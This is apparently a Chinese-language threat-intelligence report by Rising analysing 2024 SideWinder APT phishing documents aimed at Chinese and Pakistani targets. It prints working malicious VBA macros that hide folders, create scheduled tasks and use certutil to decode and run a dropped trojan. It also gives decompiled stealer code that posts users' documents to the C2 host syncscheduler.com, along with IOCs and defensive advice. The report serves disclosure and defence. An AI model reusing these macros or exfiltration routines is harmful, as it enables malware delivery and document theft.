概述
瑞星威胁情报平台
捕获到近期针对国内的攻击事件。攻击者通过邮件发送给目标机构钓鱼文档。当用户双击文档执行宏代码后,会在释放出一个窃密的木马,该木马会获取指定的目录下后缀名为pdf、doc、docx、xlsx、xls、ppt、pptx、zip
的文件,把获取到的文件加密之后发送到服务器。通过对比其域名特点和窃密手法,发现和SideWinder
组织具有高度相似性,因此将本次捕获到的攻击行动归属于SideWinder
组织。
SideWinder
是一个至少从2012年就开始进行网络攻击的威胁组织,疑似来自印度。这个APT组织又被称为响尾蛇
、T-APT-04
、Rattlesnake
和APT-C-17
,是现今最活跃的组织之一。该组织主要是从事信息窃取和间谍活动,该组织的大多数的活动都集中在中国,巴基斯坦,阿富汗等国家,涉及的目标行业多为医疗,国防,政府和科技公司等。
ATT&CK 矩阵
战术 | 技术 | 具体行为 |
---|---|---|
TA0001 初始访问 |
T1566 网络钓鱼 |
通过网络钓鱼邮件的方式发送给受害者 |
TA0002 执行 |
T1204 用户执行 |
需要用户主动执行 |
TA0003 持久化 |
T1053 计划任务/作业 |
创建计划任务定期启动恶意程序实现本地持久化 |
TA0005 防御规避 |
T1027 -混淆过的文件或信息 |
恶意程序编码混淆后内嵌在钓鱼文件内 |
TA0005 防御规避 |
T1564 隐蔽组件 |
隐藏文件和目录 |
TA0007 环境发现 |
T1083 枚举文件和目录 |
遍历指定目录下的文件 |
TA0007 环境发现 |
T1082 收集系统信息 |
收集被入侵主机的系统信息 |
TA0009 收集信息 |
T1119 自动收集 |
采集特定后缀名的文件并加密回传至服务器 |
TA0009 收集信息 |
T1074 数据暂存 |
采集特定后缀名的文件并将其拷贝至%appdata%\OneDrive 目录下 |
TA0010 外传信息 |
T1041 通过C2通道外传 |
采集的文件通过C2通道回传至服务器 |
TA0011 指挥与控制 |
T1071 应用层协议 |
使用HTTP协议与服务器进行通信 |
攻击事件详情
诱饵文件内容是中国海军首次训练的时间,在标题的上方还有一份名为wopC064.tmpMicrosoft_PowerPoint_97-2003_Presentation.ppt
的ppt
文件。这个ppt文件中有恶意的宏代码,并且第一张幻灯片内的图形中隐藏了base64
编码的字符串。
窃密木马最终的C2地址在直接访问域名时会被HTTP 302重定向至中国国防部网,而访问完整URL则会HTTP 302重定向至中国政府网。攻击者可能使用此方式迷惑用户
攻击流程
2024年3月攻击事件流程:
2024年5月攻击事件流程:
样本分析
1. 初始文档
1.1 2024年3月攻击事件文档
字段 | 内容 |
---|---|
文件名 | Microsoft_PowerPoint_97-2003_Presentation.ppt |
文件大小 | 5.26 MB (5519360 bytes) |
文件MD5 | 39122a2bcf6c360271e8edb503bc2761 |
文件类型 | ppt |
病毒名 | Dropper.[SideWinder]Agent/VBA!1.FDE7 |
攻击者通过电子邮件投递一个伪装成中国海军训练时间的文件,文件里面有一份内置了恶意的宏代码的PPT,当宏代码被执行时,会检查C:\~Microsoft365
目录下是否有support.txt
文件,如果不存在,则会读取第一张幻灯片内图形内的文本,写入到C:\~Microsoft365\support.txt
中,并把~Microsoft365
目录设置为隐藏属性,创建一个计划任务使用certutil
解码support.txt
文件为wword.exe
,然后执行wword.exe
。
Attribute VB_Name = "Module1"
Sub BracnchExecution()
CheckFileInFolder
ScheduleTask
End Sub
Sub CheckFileInFolder()
Dim folderPath As String
Dim fileName As String
Dim fullPath As String
folderPath = "C:\~Microsoft365"
fileName = "support.txt"
fullPath = folderPath & "\" & fileName
If Dir(fullPath) <> "" Then
MsgBox "File not supported!!"
Else
Textbox_reader
End If
End Sub
Sub Test()
Dim Charts_Path As String
Charts_Path = "C:\~Microsoft365"
If Dir(Charts_Path, vbDirectory) = "" Then MkDir Charts_Path
SetAttr "C:\~Microsoft365", vbHidden Or vbSystem
End Sub
Sub Textbox_reader()
Test
Dim myInput As String
myInput = ActivePresentation.Slides(1).Shapes(1).TextFrame.TextRange.Text
Set textFile = CreateObject("Scripting.FileSystemObject").CreateTextFile("C:\~Microsoft365\support.txt", True)
textFile.Write myInput
textFile.Close
End Sub
Sub ScheduleTask()
Dim strCommand As String
strCommand = "schtasks /create /TN windows_updates /SC ONCE /ST 11:11 /TR ""cmd /c certutil -decode C:\~Microsoft365\support.txt C:\~Microsoft365\wword.exe && C:\~Microsoft365\wword.exe"""
Shell "cmd /c " & strCommand, vbHide
End Sub
1.1 2024年5月攻击事件文档
字段 | 内容 |
---|---|
文件名 | 工作计划修订/工作计划修订.xls |
文件大小 | 390.50 KB (399872 bytes) |
文件MD5 | 6723be4fc978133699d55e65945b85ab |
文件类型 | xls |
病毒名 | Trojan.TaskRun/VBA!1.FDEC |
宏代码被执行之后,会检查C:\$APPDATA
下是否存在C:\$APPDATA\control.exe
,不存在则会从celenski.neyathu.Text
中获取的文本内的十进制数据转换为二进制并写入到control.exe
中,并把$APPDATA
目录设置为隐藏属性,创建三个不同时间的计划任务运行control.exe
。
draum_p = "dYT4B5RV3DCu"
Dim ar() As String
Cathd Flum_tehr
If Len(Dir(Flum_tehr)) = 0 Then
ar = Split(celenski.neyathu.Text, ",")
draum_p = "dYT4Bdsd5RV3DCu"
Dim fileNum As Integer
Open Flum_tehr For Binary As #1
Seek #1, LOF(1) + 1
For row = LBound(ar) To UBound(ar)
Put #1, , CByte(ar(row))
Next
Close #1
Call Fetsy(1)
draum_p = "ddsYTdsd4B5RV3DCu"
End If
draum_p = "ddsdYT4B5sdsdRV3DCu"
Sub Cathd(strProgramName As String)
On Error Resume Next
Dim doomday As String
Dim strArgument As String
doomday = "ddsddYT4sdsdB5RV3DCuu%u"
Const VISIBLE = 1, INVISIBLE = 0
Const WAIT = True, NOWAIT = False
Run_Code "md c:\$APPDATA", INVISIBLE, WAIT
Run_Code "attrib +a +h +s c:\$APPDATA", INVISIBLE, WAIT
Run_coder "SCHTASKS /Create /SC DAILY /TN KR87463 /TR C:\$APPDATA\console.exe /ST 11:05", "", INVISIBLE, NOWAIT
Run_coder "SCHTASKS /Create /SC DAILY /TN Hotfix03 /TR C:\$APPDATA\console.exe /ST 10:07", "", INVISIBLE, NOWAIT
Run_coder "SCHTASKS /Create /SC DAILY /TN KB546372 /TR C:\$APPDATA\console.exe /ST 15:26", "", INVISIBLE, NOWAIT
Run_Code "set path=c:\$APPDATAS&&console.exe", INVISIBLE, WAIT
End Sub
2. 窃密木马
2.1 2024年3月攻击事件窃密木马
字段 | 内容 |
---|---|
原始文件名 | wword.exe |
文件大小 | 152.88 KB (156544 bytes) |
文件MD5 | df6b768247a9cdb5607819c79f02099d |
文件类型 | EXE |
病毒名 | Stealer.[SideWinder]Agent/x64!1.FDF0 |
木马会创建一个名为MTX
互斥体,使用WMI
获取与计算机的系统产品相关的信息,然后在当前目录下释放一个名为config.txt
的文件,会向文件中写入一串特殊的字符串。
MutexA = CreateMutexA(0i64, 1, "MTX");
if ( GetLastError() == 183 )
{
CloseHandle(MutexA);
return 0;
}
if ( !byte_140017CD8 )
{
memset(v107, 0, sizeof(v107));
sub_140009820((__int64)v107, (__int64)"config.txt", 1);
if ( std::ios_base::good((std::ios_base *)((char *)v107 + *(int *)(v107[0] + 4))) )
{
*(_OWORD *)v112 = 0i64;
v113 = _mm_load_si128((const __m128i *)&xmmword_140011DE0);
LOBYTE(v112[0]) = 0;
if ( v107[18] )
{
sub_14000C840((__int64)v107, v108);
}
v113 = _mm_load_si128((const __m128i *)&xmmword_140011DE0);
LOBYTE(v112[0]) = 0;
}
}
v17 = 0i64;
v8 = operator new(0x18ui64);
if ( v8 )
{
*(_OWORD *)v8 = 0i64;
v8[2] = 0i64;
v8[1] = 0i64;
*((_DWORD *)v8 + 4) = 1;
*v8 = sub_14000EA50("SELECT * FROM Win32_ComputerSystemProduct");
}
在%AppData%
下创建一个OneDrive
文件夹,连接服务器,向服务器hxxp://Syncscheduler.com/r3diRecT/redirector/proxy.php
发送uD=&xifangtaiyang=
,服务器会向客户端发送四字节的0A0A0A0A
内容以确认服务器接受成功。
// InternetCloseHandle
for ( mm = 0i64; mm < 0x12; ++mm )
v89[mm] ^= v88;
// InternetSetOptionA
BYTE2(v90[0]) = 0;
qword_140017CB0 = sub_140002440(qword_140017CB8, v89);
v75 = 3;
strcpy(v76, "3E");
for ( nn = 0i64; nn < 3; ++nn )
v76[nn - 1] ^= (_BYTE)nn + 118;
// uD=
v76[2] = 0;
v61 = (_QWORD *)sub_14000C530(&v104, &v75, v108);
v86[1] = 9;
strcpy(v87, "/q`ohgn}h`phgn4");
for ( i1 = 0i64; i1 < 0xF; ++i1 )
// &xifangtaiyang=
v87[i1] ^= LOBYTE(v86[1]);
v87[15] = 0;
// uD=&xifangtaiyang=
v63 = (__m128i *)sub_14000B0F0(v61, v87);
for ( i = 0i64; i < 0x73; ++i )
// Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.521.0 Safari/534.8
v32[i] ^= v31;
v34[11] = 0;
v3_InternetOpenA = qword_140017CD0(v32, 1i64, 0i64);
if ( v3_InternetOpenA )
{
v28 = 81;
qmemcpy(v29, "\"(?2\"2945$=4#", 13);
v29[13] = 127;
strcpy(v30, "2><");
for ( j = 0i64; j < 0x11; ++j )
// Syncscheduler.com
v29[j] ^= v28;
v30[3] = 0;
v9_InternetConnectA = qword_140017CC0(v3_InternetOpenA, v29, 80i64, 0i64, 0i64, 3, 0, 0i64);
v35 = v9_InternetConnectA;
if ( v9_InternetConnectA )
{
strcpy(v27, "3v7hmVigX3vihmvigxsv3tvs|}2tlt");
for ( k = 0i64; k < 0x1E; ++k )
// /r3diRecT/redirector/proxy.php
v27[k] -= 4;
v11 = ((__int64 (__fastcall *)(__int64, const char *, char *, _QWORD, _QWORD, _QWORD, _DWORD, _QWORD))qword_140017CF8)(
v9_InternetConnectA,
"POST",
v27,
0i64,
0i64,
0i64,
0,
0i64);
}
}
接着会遍历/Downloads、/Documents、/Desktop
这三个目录下的文件,对比文件的后缀名,获取后缀名为pdf、doc、docx、xlsx、xls、ppt、pptx、zip
的文件,把符合条件的文件复制到C:\Users\zw285\AppData\Roaming\OneDrive
目录下。
sub_14000DD30(Src, v24, v23, v33, v29, "/Downloads", 0xAui64);
if ( 0x7FFFFFFFFFFFFFFFi64 - v165[0] < 0xA )
sub_1400016F0();
v36 = v164;
if ( v165[1] >= 0x10 )
v36 = (void **)v164[0];
sub_14000DD30(Buf2, v34, v35, v36, v165[0], "/Documents", 0xAui64);
if ( 0x7FFFFFFFFFFFFFFFi64 - v165[0] < 8 )
sub_1400016F0();
v39 = v164;
if ( v165[1] >= 0x10 )
v39 = (void **)v164[0];
sub_14000DD30(v168, v37, v38, v39, v165[0], "/Desktop", 8ui64);
while ( 1 )
{
v119 = Buf2;
if ( v116 >= 0x10 )
v119 = (void **)v117;
v120 = (const void *)v114;
// pdf doc docx xlsx xls ppt pptx zip
if ( *(_QWORD *)(v114 + 24) >= 0x10ui64 )
v120 = *(const void **)v114;
v121 = *(_QWORD *)(v114 + 16);
if ( v121 == v118 && !memcmp(v120, v119, v121) )
break;
v114 += 32i64;
if ( v114 == v115 )
goto LABEL_224;
}
在文件的原名称后加上特殊的标志符以此来修改文件名,再使用TEA加密算法对文件的内容进行加密。加密算法如下:
do
{
v8 = v4 + dword_140017068[v6 & 3];
v9 = v4 - 1640531527;
v10 = (v8 ^ (result + ((16 * result) ^ ((unsigned int)result >> 5)))) + v2;
v11 = ((v9 + dword_140017068[(v9 >> 11) & 3]) ^ (v10 + ((16 * v10) ^ (v10 >> 5)))) + result;
v12 = (v9 + dword_140017068[v9 & 3]) ^ (v11 + ((16 * v11) ^ (v11 >> 5)));
v9 -= 1640531527;
v13 = v12 + v10;
v14 = ((v9 + dword_140017068[(v9 >> 11) & 3]) ^ (v13 + ((16 * v13) ^ (v13 >> 5)))) + v11;
v15 = (v9 + dword_140017068[v9 & 3]) ^ (v14 + ((16 * v14) ^ (v14 >> 5)));
v9 -= 1640531527;
v16 = v15 + v13;
v17 = ((v9 + dword_140017068[(v9 >> 11) & 3]) ^ (v16 + ((16 * v16) ^ (v16 >> 5)))) + v14;
v18 = v9 + dword_140017068[v9 & 3];
v9 -= 1640531527;
v19 = (v18 ^ (v17 + ((16 * v17) ^ (v17 >> 5)))) + v16;
v20 = ((v9 + dword_140017068[(v9 >> 11) & 3]) ^ (v19 + ((16 * v19) ^ (v19 >> 5)))) + v17;
v21 = (v9 + dword_140017068[v9 & 3]) ^ (v20 + ((16 * v20) ^ (v20 >> 5)));
v9 -= 1640531527;
v22 = v21 + v19;
v23 = ((v9 + dword_140017068[(v9 >> 11) & 3]) ^ (v22 + ((16 * v22) ^ (v22 >> 5)))) + v20;
v24 = (v9 + dword_140017068[v9 & 3]) ^ (v23 + ((16 * v23) ^ (v23 >> 5)));
v9 -= 1640531527;
v25 = v24 + v22;
v26 = ((v9 + dword_140017068[(v9 >> 11) & 3]) ^ (v25 + ((16 * v25) ^ (v25 >> 5)))) + v23;
v27 = v9 + dword_140017068[v9 & 3];
v9 -= 1640531527;
v28 = (v27 ^ (v26 + ((16 * v26) ^ (v26 >> 5)))) + v25;
v29 = ((v9 + dword_140017068[(v9 >> 11) & 3]) ^ (v28 + ((16 * v28) ^ (v28 >> 5)))) + v26;
v30 = (v9 + dword_140017068[v9 & 3]) ^ (v29 + ((16 * v29) ^ (v29 >> 5)));
v9 -= 1640531527;
v31 = v30 + v28;
v32 = ((v9 + dword_140017068[(v9 >> 11) & 3]) ^ (v31 + ((16 * v31) ^ (v31 >> 5)))) + v29;
v33 = (v9 + dword_140017068[v9 & 3]) ^ (v32 + ((16 * v32) ^ (v32 >> 5)));
v9 -= 1640531527;
v34 = v33 + v31;
v35 = ((v9 + dword_140017068[(v9 >> 11) & 3]) ^ (v34 + ((16 * v34) ^ (v34 >> 5)))) + v32;
v36 = (v9 + dword_140017068[v9 & 3]) ^ (v35 + ((16 * v35) ^ (v35 >> 5)));
}
后缀名对应的标识符:
后缀名 | 标识符 |
---|---|
x593 | |
doc | x367 |
docx | x946 |
xls | x142 |
xlsx | x375 |
ppt | x593 |
pptx | x842 |
zip | x053 |
把加密后的数据发送到hxxp://syncscheduler.com/r3diRecT/redirector/proxy.php
,其流量数据包中的filename="文件名"
,text data
的内容是加密之后的数据,发送完之后,服务端同样会向客户端发送四字节的0A0A0A0A
内容以确认服务器接受成功。该窃密木马会一个一个文件的发,当发送完一个文件之后,会删除OneDrive
文件夹下的文件,然后继续遍历下一个文件。
sub_14000CD80(
v145,
"Content-Type: multipart/form-data; boundary=---------------------------7d82751e2bc0858",
0x56ui64);
*(_OWORD *)v141 = 0i64;
2.2 2024年5月攻击事件窃密木马
字段 | 内容 |
---|---|
原始文件名 | console.exe |
文件大小 | 73.88 KB (75655 bytes) |
文件MD5 | 88f120d331ec46c2908486a72d6665a1 |
文件类型 | EXE |
病毒名 | Stealer.[SideWinder]Agent/x64!1.FDF0 |
该样本和2024年3月的样本功能一致,都是获取/Downloads、/Documents、/Desktop
下的文件。
if ( (unsigned __int64)(0x7FFFFFFFFFFFFFFFi64 - v16) < 0xA )
sub_1400014A0();
sub_140009510(Src, v16, "/Downloads", 0xAui64);
if ( 0x7FFFFFFFFFFFFFFFi64 - v122[0] < 0xA )
sub_1400014A0();
sub_140009510(v113, v122[0], "/Documents", 0xAui64);
if ( 0x7FFFFFFFFFFFFFFFi64 - v122[0] < 8 )
sub_1400014A0();
sub_140009510(v125, v122[0], "/Desktop", 8ui64);
和2024年3月样本中对比文件后缀名的代码非常相似
// pdf doc docx xlsx xls ppt pptx zip
while ( 1 )
{
v16 = Buf2;
v17 = (const void *)v11;
if ( v13 >= 0x10 )
v16 = v14;
if ( *(_QWORD *)(v11 + 24) >= 0x10ui64 )
v17 = *(const void **)v11;
v18 = *(_QWORD *)(v11 + 16);
if ( v18 == v15 && !memcmp(v17, v16, v18) )
break;
v11 += 32i64;
if ( v11 == v12 )
goto LABEL_22;
}
只是比之前的简化了很多,这次的样本没有像之前那样创建了OneDrive
文件夹,也没对获取的数据进行加密,直接把获取的文件中的数据以明文的形式发送到hxxp://syncscheduler.com/r3diRecT/redirector/proxy.php
。
// 判断文件后缀名
if ( (unsigned __int8)sub_140003990(&v116, v87, v89) )
{
v92 = &v116;
if ( *((_QWORD *)&v117 + 1) >= 0x10ui64 )
v92 = (__int128 *)v116;
v93 = (char *)v3;
if ( *(_QWORD *)(v3 + 24) >= 0x10ui64 )
v93 = *(char **)v3;
// 发送文件
sock_140002940(v93, v92, "fu");
}
关联分析
字段 | 内容 |
---|---|
文件名 | BenevolentFundAndGroupInsurance.pdf |
文件大小 | 71.61 KB (73330 bytes) |
文件MD5 | 6509a51daf061b40fef419d641ea73ed |
文件类型 |
在2024年3月有另一起针对巴基斯坦财政部的事件,使用了同样的窃密木马,在第一阶段下载下一阶段的恶意文件时使用了finance-gov-pk.rf.gd
的域名,SideWinder组织的一个典型的特点是使用的C2服务器域名中通常包含CDN
或者gov.pk
、gov-pk
,另一个特点是其C2域名会仿造成与攻击目标的官网相似的域名,finance-gov-pk.rf.gd
这个域名就是仿造巴基斯坦财政部官网。
字段 | 内容 |
---|---|
文件名 | image.jpg |
文件大小 | 175.88 KB (180096 bytes) |
文件MD5 | 9e38e6648508755ea6db38eb657b04b7 |
文件类型 | EXE |
病毒名 | Stealer.[SideWinder]Agent/x64!1.FE63 |
最后的窃密木马和本次攻击事件的一样,获取/Downloads、/Documents、/Desktop
下的文件,使用TEA加密算法对文件进行加密,在原文件名上添加特殊的标识符修改文件名,再上传文件到hxxp://packageupdates.net/r3diRecT/redirector/proxy.php
服务器上。
在之前国内友商发布的SideWinder
组织报告中,远控后门SystemAppRAT
的功能和此次的窃密木马非常相似,其获取的指定文件的后缀名也几乎一样,也都使用WMI
命令获取系统相关的信息,此窃密木马很有可能是SystemAppRAT
后门的变种。
获取系统信息:
攻击过程可视化(EDR)
瑞星EDR的威胁调查功能为恶意软件威胁溯源分析提供可视化的应用程序关系图,从任意节点进行溯源梳理攻击过程,定位恶意软件关键行为。结合AI对攻击流程进行精准分析,全方位还原恶意软件的完整攻击链。
2024年3月的攻击事件:
2024年5月的攻击事件:
总结
APT攻击有着针对性强、组织严密、持续时间长、高隐蔽性和间接攻击的显著特征,针对的目标都是具有重大信息资产,如国家军事、情报、战略部门和影响国计民生的行业如金融、能源等,国内相关政府机构和企业单位务必要引起重视,加强防御措施。
预防措施
-
不打开可疑文件。
不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
瑞星ESM目前已经可以检出此次攻击事件的相关样本。
- 及时修补系统补丁和重要软件的补丁。
IOC信息
-
MD5
39122a2bcf6c360271e8edb503bc2761 6723be4fc978133699d55e65945b85ab df6b768247a9cdb5607819c79f02099d 88f120d331ec46c2908486a72d6665a1 6509a51daf061b40fef419d641ea73ed 9e38e6648508755ea6db38eb657b04b7
-
IPV4
146.70.80.58
-
URL
hxxp://syncscheduler.com/r3diRecT/redirector/proxy.php hxxp://packageupdates.net/r3diRecT/redirector/proxy.php
-
Domain
syncscheduler.com finance-gov-pk.rf.gd packageupdates.net
-
瑞星病毒名
Dropper.[SideWinder]Agent/VBA!1.FDE7 Stealer.[SideWinder]Agent/x64!1.FDF0 Stealer.[SideWinder]Agent/x64!1.FE63